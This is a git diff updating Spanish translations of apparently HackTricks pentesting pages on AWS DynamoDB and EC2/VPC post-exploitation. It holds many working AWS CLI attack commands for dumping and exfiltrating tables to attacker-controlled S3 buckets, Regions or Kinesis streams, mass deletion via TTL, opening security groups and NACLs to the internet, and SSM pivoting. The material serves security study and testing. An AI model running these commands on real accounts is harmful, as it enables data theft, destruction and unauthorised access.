+107,15 @@ aws dynamodb query \ {{#endtab }} {{#endtabs }} -**Impacto potencial:** Privesc indirecto al localizar información sensible en la tabla +**Impacto potencial:** Indirect privesc al localizar información sensible en la tabla ### `dynamodb:Scan` -Puedes usar este permiso para **dump toda la tabla fácilmente**. +Puedes usar este permiso para **dump the entire table easily**. ```bash aws dynamodb scan --table-name #Get data inside the table ``` -**Impacto potencial:** privesc indirecto al localizar información sensible en la tabla +**Impacto potencial:** Indirect privesc al localizar información sensible en la tabla ### `dynamodb:PartiQLSelect` @@ -124,7 +124,7 @@ Puedes usar este permiso para **dump la tabla completa fácilmente**. aws dynamodb execute-statement \ --statement "SELECT * FROM ProductCatalog" ``` -Este permiso también permite ejecutar `batch-execute-statement` como: +Este permiso también permite realizar `batch-execute-statement` como: ```bash aws dynamodb batch-execute-statement \ --statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]' @@ -135,7 +135,7 @@ pero necesitas especificar la clave primaria con un valor, por lo que no es tan ### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)` -Este permiso permitirá a un atacante **exportar toda la tabla a un S3 bucket** de su elección: +Este permiso permitirá a un atacante **exportar la tabla completa a un S3 bucket** de su elección: ```bash aws dynamodb export-table-to-point-in-time \ --table-arn arn:aws:dynamodb:::table/TargetTable \ @@ -144,12 +144,12 @@ aws dynamodb export-table-to-point-in-time \ --export-time \ --region ``` -Ten en cuenta que para que esto funcione la tabla debe tener point-in-time-recovery habilitado; puedes comprobar si la tabla lo tiene con: +Ten en cuenta que para que esto funcione, la tabla debe tener point-in-time-recovery habilitado; puedes comprobar si la tabla lo tiene con: ```bash aws dynamodb describe-continuous-backups \ --table-name ``` -Si no está habilitado, necesitarás **habilitarlo** y para eso necesitas el permiso **`dynamodb:ExportTableToPointInTime`**: +Si no está habilitado, necesitarás **habilitarlo** y para ello necesitas el permiso **`dynamodb:ExportTableToPointInTime`**: ```bash aws dynamodb update-continuous-backups \ --table-name \ @@ -159,18 +159,18 @@ aws dynamodb update-continuous-backups \ ### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)` -Con estos permisos, un atacante podría **crear una nueva tabla a partir de una copia de seguridad** (o incluso crear una copia de seguridad para luego restaurarla en una tabla distinta). Luego, con los permisos necesarios, podría consultar la **información** de las copias de seguridad que **ya no estarían** en la tabla de producción. +Con estos permisos, un atacante podría **crear una nueva tabla a partir de un backup** (o incluso crear un backup para luego restaurarlo en una tabla diferente). Entonces, con los permisos necesarios, podría comprobar **información** de los backups que **ya no podrían estar en la tabla de producción**. ```bash aws dynamodb restore-table-from-backup \ --backup-arn \ --target-table-name \ --region ``` -**Impacto potencial:** Indirect privesc al localizar información sensible en la copia de seguridad de la tabla +**Impacto potencial:** privesc indirecto al localizar información sensible en la copia de seguridad de la tabla ### `dynamodb:PutItem` -Este permiso permite a los usuarios agregar un **nuevo item a la tabla o reemplazar un item existente** con un nuevo item. Si ya existe un item con la misma clave primaria, el **item completo será reemplazado** por el nuevo item. Si la clave primaria no existe, se **creará** un nuevo item con la clave primaria especificada. +Este permiso permite a los usuarios añadir un **nuevo elemento a la tabla o reemplazar un elemento existente** por uno nuevo. Si un elemento con la misma clave primaria ya existe, el **elemento completo será reemplazado** por el nuevo elemento. Si la clave primaria no existe, se **creará** un nuevo elemento con la clave primaria especificada. {{#tabs }} {{#tab name="XSS Example" }} @@ -206,7 +206,7 @@ aws dynamodb put-item \ ### `dynamodb:UpdateItem` -Este permiso permite a los usuarios **modificar los atributos existentes de un ítem o añadir nuevos atributos a un ítem**. No **reemplaza** el ítem completo; solo actualiza los atributos especificados. Si la clave primaria no existe en la tabla, la operación **creará un nuevo ítem** con la clave primaria especificada y establecerá los atributos indicados en la expresión de actualización. +Este permiso permite a los usuarios **modificar los atributos existentes de un elemento o añadir nuevos atributos a un elemento**. No **reemplaza** el elemento completo; solo actualiza los atributos especificados. Si la clave primaria no existe en la tabla, la operación **creará un nuevo elemento** con la clave primaria especificada y establecerá los atributos indicados en la expresión de actualización. {{#tabs }} {{#tab name="XSS Example" }} @@ -242,7 +242,7 @@ aws dynamodb update-item \ {{#endtab }} {{#endtabs }} -**Impacto potencial:** Explotación de más vulnerabilidades/bypasses al poder agregar/modificar datos en una tabla de DynamoDB +**Impacto potencial:** Explotación de vulnerabilidades/bypasses adicionales al poder agregar/modificar datos en una tabla de DynamoDB ### `dynamodb:DeleteTable` @@ -252,24 +252,24 @@ aws dynamodb delete-table \ --table-name TargetTable \ --region ``` -**Impacto potencial**: Pérdida de datos y la interrupción de servicios que dependen de la tabla eliminada. +**Impacto potencial**: Pérdida de datos e interrupción de los servicios que dependen de la tabla eliminada. ### `dynamodb:DeleteBackup` -Un atacante con este permiso puede **eliminar una copia de seguridad de DynamoDB, lo que potencialmente causa pérdida de datos en caso de un escenario de recuperación ante desastres**. +Un atacante con este permiso puede **eliminar una copia de seguridad de DynamoDB, lo que podría provocar pérdida de datos en caso de un escenario de recuperación ante desastres**. ```bash aws dynamodb delete-backup \ --backup-arn arn:aws:dynamodb:::table/TargetTable/backup/BACKUP_ID \ --region ``` -**Impacto potencial**: Pérdida de datos e incapacidad para recuperarlos desde una copia de seguridad durante un escenario de recuperación ante desastres. +**Impacto potencial**: Pérdida de datos e incapacidad para recuperarse desde una copia de seguridad durante un escenario de recuperación ante desastres. ### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords` > [!NOTE] -> TODO: Probar si esto realmente funciona +> TODO: Probar si esto funciona realmente -Un atacante con estos permisos puede **enable a stream on a DynamoDB table, update the table to begin streaming changes, and then access the stream to monitor changes to the table in real-time**. Esto permite al atacante monitorizar y exfiltrate cambios de datos, potencialmente conduciendo a data leakage. +Un atacante con estos permisos puede **habilitar un stream en una tabla de DynamoDB, actualizar la tabla para comenzar a transmitir cambios y luego acceder al stream para supervisar los cambios en la tabla en tiempo real**. Esto permite al atacante supervisar y exfiltrate los cambios de datos, lo que potencialmente conduce a data leakage. 1. Habilitar un stream en una tabla de DynamoDB: ```bash @@ -278,13 +278,13 @@ aws dynamodb update-table \ --stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \ --region ``` -2. Describe el flujo para obtener el ARN y otros detalles: +2. Describe el stream para obtener el ARN y otros detalles: ```bash aws dynamodb describe-stream \ --table-name TargetTable \ --region ``` -3. Obtener el shard iterator usando el stream ARN: +3. Obtén el shard iterator usando el ARN del stream: ```bash aws dynamodbstreams get-shard-iterator \ --stream-arn \ @@ -292,22 +292,22 @@ aws dynamodbstreams get-shard-iterator \ --shard-iterator-type LATEST \ --region ``` -4. Utiliza el shard iterator para acceder y exfiltrate datos del stream: +4. Usa el shard iterator para acceder y exfiltrate datos del stream: ```bash aws dynamodbstreams get-records \ --shard-iterator \ --region ``` -**Impacto potencial**: Monitorización en tiempo real y exfiltración de datos de los cambios de la tabla DynamoDB. +**Impacto potencial**: Monitorización en tiempo real y exfiltración de datos de los cambios en la tabla DynamoDB. -### Leer items vía `dynamodb:UpdateItem` and `ReturnValues=ALL_OLD` +### Leer items mediante `dynamodb:UpdateItem` y `ReturnValues=ALL_OLD` -Un atacante con solo `dynamodb:UpdateItem` en una tabla puede leer items sin ninguno de los permisos de lectura habituales (`GetItem`/`Query`/`Scan`) realizando una actualización inofensiva y solicitando `--return-values ALL_OLD`. DynamoDB devolverá la imagen completa anterior a la actualización del item en el campo `Attributes` de la respuesta (esto no consume RCUs). +Un atacante con solo `dynamodb:UpdateItem` en una tabla puede leer items sin ninguno de los permisos de lectura habituales (`GetItem`/`Query`/`Scan`) realizando una actualización inofensiva y solicitando `--return-values ALL_OLD`. DynamoDB devolverá la imagen completa previa a la actualización del item en el campo `Attributes` de la respuesta (esto no consume RCUs). - Permisos mínimos: `dynamodb:UpdateItem` en la tabla/clave objetivo. - Requisitos previos: Debes conocer la clave primaria del item. -Example (adds a harmless attribute and exfiltrates the previous item in the response): +Ejemplo (añade un atributo inofensivo y exfiltra el item previo en la respuesta): ```bash aws dynamodb update-item \ --table-name \ @@ -318,14 +318,14 @@ aws dynamodb update-item \ --return-values ALL_OLD \ --region ``` -La respuesta del CLI incluirá un bloque `Attributes` que contiene el item previo completo (todos los atributos), proporcionando efectivamente una primitiva de lectura desde un acceso solo de escritura. +La respuesta del CLI incluirá un bloque `Attributes` que contiene el item previo completo (todos los atributos), proporcionando efectivamente una primitiva de lectura desde acceso solo-escritura. -**Impacto potencial:** Leer elementos arbitrarios de una tabla con solo permisos de escritura, permitiendo la exfiltración de datos sensibles cuando se conocen las claves primarias. +**Impacto potencial:** Leer items arbitrarios de una tabla con solo permisos de escritura, permitiendo la exfiltration de datos sensibles cuando se conocen las claves primarias. ### `dynamodb:UpdateTable (replica-updates)` | `dynamodb:CreateTableReplica` -Exfiltración sigilosa añadiendo una nueva Regional Replica a un DynamoDB Global Table (versión 2019.11.21). Si un principal puede añadir una réplica regional, toda la tabla se replica en la Region elegida por el atacante, desde la cual el atacante puede leer todos los elementos. +Stealth exfiltration al añadir una nueva replica Region a una DynamoDB Global Table (versión 2019.11.21). Si un principal puede añadir una réplica regional, la tabla completa se replica a la Region elegida por el atacante, desde la cual el atacante puede leer todos los items. {{#tabs }} {{#tab name="PoC (default DynamoDB-managed KMS)" }} @@ -354,13 +354,13 @@ aws dynamodb update-table \ {{#endtab }} {{#endtabs }} -Permisos: `dynamodb:UpdateTable` (con `replica-updates`) o `dynamodb:CreateTableReplica` en la tabla objetivo. Si se usa un CMK en la réplica, pueden ser necesarios permisos de KMS para esa clave. +Permisos: `dynamodb:UpdateTable` (con `replica-updates`) o `dynamodb:CreateTableReplica` en la tabla objetivo. Si se usa una CMK en la réplica, pueden requerirse permisos de KMS para esa clave. -Impacto potencial: Replicación de toda la tabla a una región controlada por el atacante, lo que permite una exfiltración sigilosa de datos. +Impacto potencial: Replicación de toda la tabla a una Región controlada por el atacante, lo que permite la exfiltración sigilosa de datos. -### `dynamodb:TransactWriteItems` (read via failed condition + `ReturnValuesOnConditionCheckFailure=ALL_OLD`) +### `dynamodb:TransactWriteItems` (lectura mediante condición fallida + `ReturnValuesOnConditionCheckFailure=ALL_OLD`) -Un atacante con privilegios de escritura transaccional puede exfiltrar los atributos completos de un ítem existente realizando un `Update` dentro de `TransactWriteItems` que falla intencionalmente una `ConditionExpression` mientras se establece `ReturnValuesOnConditionCheckFailure=ALL_OLD`. En caso de fallo, DynamoDB incluye los atributos previos en las razones de cancelación de la transacción, convirtiendo efectivamente el acceso solo-escritura en acceso de lectura a las claves objetivo. +Un atacante con privilegios de escritura transaccional puede exfiltrar los atributos completos de un elemento existente realizando un `Update` dentro de `TransactWriteItems` que intencionalmente hace fallar una `ConditionExpression` mientras se establece `ReturnValuesOnConditionCheckFailure=ALL_OLD`. Al fallar, DynamoDB incluye los atributos previos en las razones de cancelación de la transacción, convirtiendo efectivamente el acceso únicamente de escritura en acceso de lectura de las claves objetivo. {{#tabs }} {{#tab name="PoC (AWS CLI >= supports cancellation reasons)" }} @@ -409,18 +409,18 @@ print(e.response['CancellationReasons'][0]['Item']) {{#endtab }} {{#endtabs }} -Permisos: `dynamodb:TransactWriteItems` en la tabla objetivo (y el ítem subyacente). No se requieren permisos de lectura. +Permisos: `dynamodb:TransactWriteItems` en la tabla objetivo (y el item subyacente). No se requieren permisos de lectura. -Impacto potencial: Leer ítems arbitrarios (por clave primaria) de una tabla usando solo privilegios de escritura transaccional mediante las razones de cancelación devueltas. +Impacto potencial: Leer items arbitrarios (por clave primaria) de una tabla usando solo privilegios de escritura transaccional a través de las razones de cancelación devueltas. -### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` en GSI +### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` on GSI -Evita las restricciones de lectura creando un Global Secondary Index (GSI) con `ProjectionType=ALL` sobre un atributo de baja entropía, establece ese atributo a un valor constante en todos los ítems y luego `Query` el índice para recuperar los ítems completos. Esto funciona incluso si `Query`/`Scan` en la tabla base está denegado, siempre que puedas consultar el ARN del índice. +Eludir las restricciones de lectura creando un Global Secondary Index (GSI) con `ProjectionType=ALL` en un atributo de baja entropía, establecer ese atributo a un valor constante en los items, y luego `Query` el índice para recuperar los items completos. Esto funciona incluso si `Query`/`Scan` en la tabla base está denegado, siempre que puedas consultar el ARN del índice. - Permisos mínimos: - `dynamodb:UpdateTable` en la tabla objetivo (para crear el GSI con `ProjectionType=ALL`). -- `dynamodb:UpdateItem` en las claves de la tabla objetivo (para establecer el atributo indexado en cada ítem). +- `dynamodb:UpdateItem` en las claves de la tabla objetivo (para establecer el atributo indexado en cada item). - `dynamodb:Query` en el ARN del recurso del índice (`arn:aws:dynamodb:::table//index/`). Pasos (PoC en us-east-1): @@ -461,17 +461,17 @@ aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \ --expression-attribute-values '{":v":{"S":"dump"}}' \ --region us-east-1 ``` -**Impacto potencial:** Full table exfiltration al consultar un GSI recién creado que proyecta todos los atributos, incluso cuando las APIs de lectura de la tabla base están denegadas. +**Impacto potencial:** Exfiltración completa de la tabla al consultar un GSI recién creado que proyecta todos los atributos, incluso cuando las APIs de lectura de la tabla base están denegadas. -### `dynamodb:EnableKinesisStreamingDestination` (Continuous exfiltration a través de Kinesis Data Streams) +### `dynamodb:EnableKinesisStreamingDestination` (Exfiltración continua vía Kinesis Data Streams) -Abusar de DynamoDB Kinesis streaming destinations para exfiltrate continuamente los cambios desde una tabla hacia un Kinesis Data Stream controlado por el atacante. Una vez habilitado, cada evento INSERT/MODIFY/REMOVE se reenvía casi en tiempo real al stream sin necesitar permisos de lectura sobre la tabla. +Abusar de las Kinesis streaming destinations de DynamoDB para exfiltrar de forma continua los cambios de una tabla hacia un Kinesis Data Stream controlado por el atacante. Una vez habilitado, cada evento INSERT/MODIFY/REMOVE se reenvía en casi tiempo real al stream sin necesitar permisos de lectura sobre la tabla. Permisos mínimos (atacante): - `dynamodb:EnableKinesisStreamingDestination` en la tabla objetivo -- Opcionalmente `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` para monitorizar el estado -- Permisos de lectura en el Kinesis stream propiedad del atacante para consumir registros: `kinesis:*` +- Opcionalmente `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` para supervisar el estado +- Permisos de lectura sobre el Kinesis stream propiedad del atacante para consumir registros: `kinesis:*`
PoC (us-east-1) @@ -530,17 +530,17 @@ aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true ``` ### `dynamodb:UpdateTimeToLive` -Un atacante con el permiso dynamodb:UpdateTimeToLive puede cambiar la configuración de TTL (time-to-live) de una tabla — habilitando o deshabilitando el TTL. Cuando el TTL está habilitado, los ítems individuales que contienen el atributo TTL configurado serán eliminados automáticamente una vez que se alcance su tiempo de expiración. El valor de TTL es simplemente otro atributo en cada ítem; los ítems sin ese atributo no se ven afectados por la eliminación basada en TTL. +Un atacante con el permiso dynamodb:UpdateTimeToLive puede cambiar la configuración de TTL (time-to-live) de una tabla — habilitando o deshabilitando TTL. Cuando TTL está habilitado, los items individuales que contienen el atributo TTL configurado se eliminarán automáticamente una vez alcanzado su tiempo de expiración. El valor TTL es simplemente otro atributo en cada item; los items sin ese atributo no se ven afectados por la eliminación basada en TTL. -Si los ítems no contienen ya el atributo TTL, el atacante también necesitaría un permiso que permita actualizar ítems (por ejemplo dynamodb:UpdateItem) para agregar el atributo TTL y provocar eliminaciones masivas. +Si los items no contienen ya el atributo TTL, el atacante también necesitaría un permiso que permita actualizar items (por ejemplo dynamodb:UpdateItem) para añadir el atributo TTL y desencadenar eliminaciones masivas. -Primero habilite el TTL en la tabla, especificando el nombre del atributo que se usará para la expiración: +Primero habilita TTL en la tabla, especificando el nombre del atributo a usar para la expiración: ```bash aws dynamodb update-time-to-live \ --table-name \ --time-to-live-specification "Enabled=true, AttributeName=" ``` -Entonces actualiza los items para añadir el atributo TTL (epoch seconds) para que expiren y sean eliminados: +A continuación, actualiza los items para agregar el atributo TTL (epoch seconds) para que expiren y sean eliminados: ```bash aws dynamodb update-item \ --table-name \ @@ -550,9 +550,9 @@ aws dynamodb update-item \ ``` ### `dynamodb:RestoreTableFromAwsBackup` & `dynamodb:RestoreTableToPointInTime` -Un atacante con permisos `dynamodb:RestoreTableFromAwsBackup` o `dynamodb:RestoreTableToPointInTime` puede crear nuevas tablas restauradas desde backups o desde point-in-time recovery (PITR) sin sobrescribir la tabla original. La tabla restaurada contiene una imagen completa de los datos en el punto seleccionado, por lo que el atacante puede usarla para exfiltrar información histórica u obtener un volcado completo del estado pasado de la base de datos. +Un atacante con permisos dynamodb:RestoreTableFromAwsBackup o dynamodb:RestoreTableToPointInTime puede crear nuevas tablas restauradas desde backups o desde point-in-time recovery (PITR) sin sobrescribir la tabla original. La tabla restaurada contiene una imagen completa de los datos en el punto seleccionado, por lo que el atacante puede usarla para exfiltrar información histórica u obtener un volcado completo del estado pasado de la base de datos. -Restaurar una tabla de DynamoDB desde una copia de seguridad bajo demanda: +Restaurar una tabla de DynamoDB desde un backup on-demand: ```bash aws dynamodb restore-table-from-backup \ --target-table-name \ @@ -567,7 +567,7 @@ aws dynamodb restore-table-to-point-in-time \ ````
-**Impacto potencial:** Exfiltración continua y casi en tiempo real de los cambios en la tabla hacia un Kinesis stream controlado por el atacante sin realizar operaciones directas de lectura sobre la tabla. +**Potential Impact:** Exfiltración continua, casi en tiempo real, de los cambios de la tabla a un stream de Kinesis controlado por un atacante sin operaciones de lectura directa sobre la tabla. diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md index fa9f91611..e6e4e31d6 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md @@ -1,10 +1,10 @@ -# AWS - EC2, EBS, SSM & VPC Post-Explotación +# AWS - EC2, EBS, SSM & VPC Post Exploitation {{#include ../../../../banners/hacktricks-training.md}} ## EC2 & VPC -Para más información, consulta: +Para más información consulta: {{#ref}} ../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ @@ -12,8 +12,8 @@ Para más información, consulta: ### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule` -VPC traffic mirroring **duplica el tráfico entrante y saliente de las instancias EC2 dentro de una VPC** sin necesidad de instalar nada en las propias instancias. Este tráfico duplicado normalmente se enviaría a algo como un sistema de detección de intrusiones de red (IDS) para su análisis y monitorización.\ -Un atacante podría abusar de esto para capturar todo el tráfico y obtener información sensible de él: +VPC traffic mirroring **duplica el tráfico entrante y saliente para las instancias EC2 dentro de una VPC** sin necesidad de instalar nada en las propias instancias. Este tráfico duplicado normalmente se enviaría a algo como un sistema de detección de intrusiones de red (IDS) para su análisis y monitorización.\ +Un atacante podría abusar de esto para capturar todo el tráfico y obtener información sensible: Para más información consulta esta página: @@ -23,7 +23,7 @@ aws-malicious-vpc-mirror.md ### Copiar instancia en ejecución -Las instancias suelen contener algún tipo de información sensible. Hay diferentes maneras de acceder (check [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Sin embargo, otra forma de comprobar lo que contienen es **crear una AMI y lanzar una nueva instancia (incluso en tu propia cuenta) a partir de ella**: +Las instancias suelen contener algún tipo de información sensible. Hay diferentes maneras de acceder (check [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Sin embargo, otra forma de comprobar su contenido es **crear una AMI y ejecutar una nueva instancia (incluso en tu propia cuenta) a partir de ella**: ```shell # List instances aws ec2 describe-images @@ -49,8 +49,8 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west ``` ### EBS Snapshot dump -**Los snapshots son copias de seguridad de volúmenes**, que normalmente contendrán **información sensible**, por lo que revisarlos debería revelar esta información.\ -Si encuentras un **volumen sin snapshot** podrías: **Crear un snapshot** y realizar las siguientes acciones o simplemente **montarlo en una instancia** dentro de la cuenta: +**Snapshots are backups of volumes**, que normalmente contendrán **información sensible**, por lo tanto revisarlos debería revelar esta información.\ +Si encuentras un **volume without a snapshot** podrías: **Create a snapshot** y realizar las siguientes acciones o simplemente **mount it in an instance** dentro de la cuenta: {{#ref}} aws-ebs-snapshot-dump.md @@ -58,7 +58,7 @@ aws-ebs-snapshot-dump.md ### Covert Disk Exfiltration via AMI Store-to-S3 -Exporta una AMI de EC2 directamente a S3 usando `CreateStoreImageTask` para obtener una imagen de disco raw sin compartir snapshots. Esto permite realizar análisis forense offline completos o el robo de datos dejando la red de la instancia intacta. +Export an EC2 AMI straight to S3 using `CreateStoreImageTask` to obtain a raw disk image without snapshot sharing. Esto permite análisis forense offline completo o robo de datos mientras se deja la networking de la instance intacta. {{#ref}} aws-ami-store-s3-exfiltration.md @@ -66,7 +66,7 @@ aws-ami-store-s3-exfiltration.md ### Live Data Theft via EBS Multi-Attach -Adjunta un volumen Multi-Attach io1/io2 a una segunda instancia y móntalo en solo lectura para extraer datos en vivo sin snapshots. Útil cuando el volumen víctima ya tiene Multi-Attach habilitado en la misma AZ. +Attach an io1/io2 Multi-Attach volume to a second instance and mount it read-only to siphon live data without snapshots. Útil cuando el victim volume ya tiene Multi-Attach habilitado dentro de la misma AZ. {{#ref}} aws-ebs-multi-attach-data-theft.md @@ -74,7 +74,7 @@ aws-ebs-multi-attach-data-theft.md ### EC2 Instance Connect Endpoint Backdoor -Crea un EC2 Instance Connect Endpoint, autoriza el ingreso e inyecta claves SSH efímeras para acceder a instancias privadas a través de un túnel gestionado. Proporciona rutas rápidas de movimiento lateral sin abrir puertos públicos. +Create an EC2 Instance Connect Endpoint, authorize ingress, and inject ephemeral SSH keys to access private instances over a managed tunnel. Otorga rutas de movimiento lateral rápidas sin abrir puertos públicos. {{#ref}} aws-ec2-instance-connect-endpoint-backdoor.md @@ -82,7 +82,7 @@ aws-ec2-instance-connect-endpoint-backdoor.md ### EC2 ENI Secondary Private IP Hijack -Mueve la IP privada secundaria de la ENI víctima a una ENI controlada por el atacante para suplantar hosts de confianza que están allowlisted por IP. Permite eludir ACLs internas o reglas de SG vinculadas a direcciones específicas. +Move a victim ENI’s secondary private IP to an attacker-controlled ENI to impersonate trusted hosts that are allowlisted by IP. Permite eludir ACLs internas o reglas de SG que se basan en direcciones específicas. {{#ref}} aws-eni-secondary-ip-hijack.md @@ -90,7 +90,7 @@ aws-eni-secondary-ip-hijack.md ### Elastic IP Hijack for Ingress/Egress Impersonation -Reasocia un Elastic IP de la instancia víctima al atacante para interceptar tráfico entrante u originar conexiones salientes que aparentan provenir de IPs públicas de confianza. +Reassociate an Elastic IP from the victim instance to the attacker to intercept inbound traffic or originate outbound connections that appear to come from trusted public IPs. {{#ref}} aws-eip-hijack-impersonation.md @@ -98,7 +98,7 @@ aws-eip-hijack-impersonation.md ### Security Group Backdoor via Managed Prefix Lists -Si una regla de security group referencia una customer-managed prefix list, añadir CIDRs del atacante a la lista expande silenciosamente el acceso a través de todas las reglas de SG dependientes sin modificar el SG en sí. +If a security group rule references a customer-managed prefix list, adding attacker CIDRs to the list silently expands access across every dependent SG rule without modifying the SG itself. {{#ref}} aws-managed-prefix-list-backdoor.md @@ -106,7 +106,7 @@ aws-managed-prefix-list-backdoor.md ### VPC Endpoint Egress Bypass -Crea gateway o interface VPC endpoints para recuperar acceso saliente desde subnets aisladas. Aprovechar los AWS-managed private links evita controles IGW/NAT ausentes para la exfiltración de datos. +Create gateway or interface VPC endpoints to regain outbound access from isolated subnets. Leveraging AWS-managed private links bypasses missing IGW/NAT controls for data exfiltration. {{#ref}} aws-vpc-endpoint-egress-bypass.md @@ -114,12 +114,12 @@ aws-vpc-endpoint-egress-bypass.md ### `ec2:AuthorizeSecurityGroupIngress` -Un atacante con el permiso ec2:AuthorizeSecurityGroupIngress puede añadir reglas de entrada a security groups (por ejemplo, permitir tcp:80 desde 0.0.0.0/0), exponiendo así servicios internos a Internet pública o a redes no autorizadas. +Un atacante con el permiso ec2:AuthorizeSecurityGroupIngress puede añadir reglas de entrada a security groups (por ejemplo, permitiendo tcp:80 desde 0.0.0.0/0), exponiendo así servicios internos a la Internet pública o a redes no autorizadas. ```bash aws ec2 authorize-security-group-ingress --group-id --protocol tcp --port 80 --cidr 0.0.0.0/0 ``` # `ec2:ReplaceNetworkAclEntry` -Un atacante con permisos ec2:ReplaceNetworkAclEntry (o similares) puede modificar los Network ACLs (NACLs) de una subnet para hacerlos muy permisivos — por ejemplo permitiendo 0.0.0.0/0 en puertos críticos — exponiendo todo el rango de la subnet al Internet o a segmentos de red no autorizados. A diferencia de los Security Groups, que se aplican por instancia, los NACLs se aplican a nivel de subnet, por lo que cambiar un NACL restrictivo puede tener un radio de impacto mucho mayor al habilitar acceso a muchos más hosts. +Un atacante con permisos `ec2:ReplaceNetworkAclEntry` (o similares) puede modificar los Network ACLs (NACLs) de una subred para hacerlos muy permisivos — por ejemplo permitiendo 0.0.0.0/0 en puertos críticos — exponiendo todo el rango de la subred a Internet o a segmentos de red no autorizados. A diferencia de Security Groups, que se aplican por instancia, los NACLs se aplican a nivel de subred, por lo que cambiar un NACL restrictivo puede tener un radio de impacto mucho mayor al habilitar el acceso a muchos más hosts. ```bash aws ec2 replace-network-acl-entry \ --network-acl-id \ @@ -131,7 +131,7 @@ aws ec2 replace-network-acl-entry \ ``` ### `ec2:Delete*` -Un atacante con permisos ec2:Delete* e iam:Remove* puede eliminar recursos y configuraciones críticas de la infraestructura — por ejemplo key pairs, launch templates/versions, AMIs/snapshots, volumes or attachments, security groups or rules, ENIs/network endpoints, route tables, gateways, or managed endpoints. Esto puede causar interrupción inmediata del servicio, pérdida de datos y pérdida de evidencia forense. +Un atacante con permisos ec2:Delete* e iam:Remove* puede eliminar recursos y configuraciones críticas de la infraestructura — por ejemplo key pairs, launch templates/versions, AMIs/snapshots, volúmenes o attachments, security groups o reglas, ENIs/network endpoints, tablas de rutas, gateways, o managed endpoints. Esto puede causar una interrupción inmediata del servicio, pérdida de datos y pérdida de evidencia forense. One example is deleting a security group: @@ -152,26 +152,26 @@ aws-vpc-flow-logs-cross-account-exfiltration.md Even if you lock down an EC2 so no traffic can get out, it can still **exfil via DNS**. -- **VPC Flow Logs no registrará esto**. -- No tienes acceso a los registros DNS de AWS. -- Desactívalo estableciendo "enableDnsSupport" a false con: +- **VPC Flow Logs will not record this**. +- You have no access to AWS DNS logs. +- Disable this by setting "enableDnsSupport" to false with: `aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id ` #### Exfiltration via API calls -Un atacante podría llamar endpoints API de una cuenta controlada por él. CloudTrail registrará estas llamadas y el atacante podrá ver los datos exfiltrados en los logs de CloudTrail. +Un atacante podría llamar a endpoints de API de una cuenta controlada por él. Cloudtrail registrará esas llamadas y el atacante podrá ver los datos exfiltrados en los logs de Cloudtrail. -### Abrir Security Group +### Open Security Group -Podrías obtener más acceso a servicios de red abriendo puertos así: +Podrías obtener mayor acceso a servicios de red abriendo puertos así: ```bash aws ec2 authorize-security-group-ingress --group-id --protocol tcp --port 80 --cidr 0.0.0.0/0 # Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC ``` ### Privesc to ECS -Es posible ejecutar una instancia EC2 y registrarla para que sea usada para ejecutar instancias ECS y luego robar los datos de las instancias ECS. +Es posible ejecutar una instancia EC2 y registrarla para que se use para ejecutar instancias ECS y luego robar los datos de las instancias ECS. Para [**más información consulta esto**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs). @@ -185,38 +185,38 @@ Permisos requeridos: - `ssm:StartSession` -Además de la ejecución de comandos, SSM permite traffic tunneling, lo que puede usarse de forma abusiva para pivot desde instancias EC2 que no tienen acceso a la red debido a Security Groups o NACLs. -Uno de los escenarios donde esto es útil es pivoting desde un [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) a un clúster EKS privado. +Además de la ejecución de comandos, SSM permite traffic tunneling que puede ser abusado para pivoting desde instancias EC2 que no tienen acceso a la red debido a Security Groups o NACLs. +Uno de los escenarios donde esto es útil es pivoting desde un [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) hacia un private EKS cluster. -> Para iniciar una sesión necesitas el SessionManagerPlugin instalado: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html +> Para iniciar una sesión necesitas tener instalado el SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html 1. Instala el SessionManagerPlugin en tu máquina -2. Inicia sesión en el Bastion EC2 usando el siguiente comando: +2. Conéctate al Bastion EC2 usando el siguiente comando: ```shell aws ssm start-session --target "$INSTANCE_ID" ``` -3. Obtener las credenciales temporales AWS del Bastion EC2 con el script [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) -4. Transferir las credenciales a tu propia máquina en el archivo `$HOME/.aws/credentials` como el perfil `[bastion-ec2]` -5. 